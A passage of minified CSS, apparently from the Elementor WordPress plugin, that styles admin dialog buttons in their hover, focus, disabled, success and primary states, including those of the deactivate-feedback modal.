.dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit { background: transparent; color: var(--e-a-color-txt); } .elementor-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .elementor-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .e-btn.e-btn-txt:hover, #elementor-deactivate-feedback-modal .dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .e-btn.e-btn-txt:focus, #elementor-deactivate-feedback-modal .dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .e-btn.e-btn-txt:disabled, #elementor-deactivate-feedback-modal .dialog-skip:disabled, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:disabled, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .elementor-button.e-btn-txt-border, .e-btn.e-btn-txt-border, #elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-skip, #elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-submit { border: 1px solid var(--e-a-color-txt-muted); } .elementor-button.elementor-button-success, .elementor-button.e-success, .e-btn.elementor-button-success, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit, .e-btn.e-success, #elementor-deactivate-feedback-modal .e-success.dialog-skip, #elementor-deactivate-feedback-modal .e-success.dialog-submit { background-color: var(--e-a-btn-bg-success); } .elementor-button.elementor-button-success:hover, .elementor-button.elementor-button-success:focus, .elementor-button.e-success:hover, .elementor-button.e-success:focus, .e-btn.elementor-button-success:hover, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:hover, .e-btn.elementor-button-success:focus, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:focus, .e-btn.e-success:hover, #elementor-deactivate-feedback-modal .e-success.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-success.dialog-submit:hover, .e-btn.e-success:focus, #elementor-deactivate-feedback-modal .e-success.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-success.dialog-submit:focus { background-color: var(--e-a-btn-bg-success-hover); } .elementor-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .e-btn.e-primary, #elementor-deactivate-feedback-modal .e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .elementor-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .elementor-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .e-btn.e-primary:hover, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .e-btn.e-primary:focus, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .elementor-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .e-btn.e-primary.e-btn-txt, #elementor-deactivate-feedback-modal .e-primary.dialog-skip, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .elementor-button.e-primary.e-btn-txt:hover, #elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .elementor-button.e-primary.e-btn-txt:focus, #elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .e-btn.e-primary.e-btn-txt:hover, #elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper 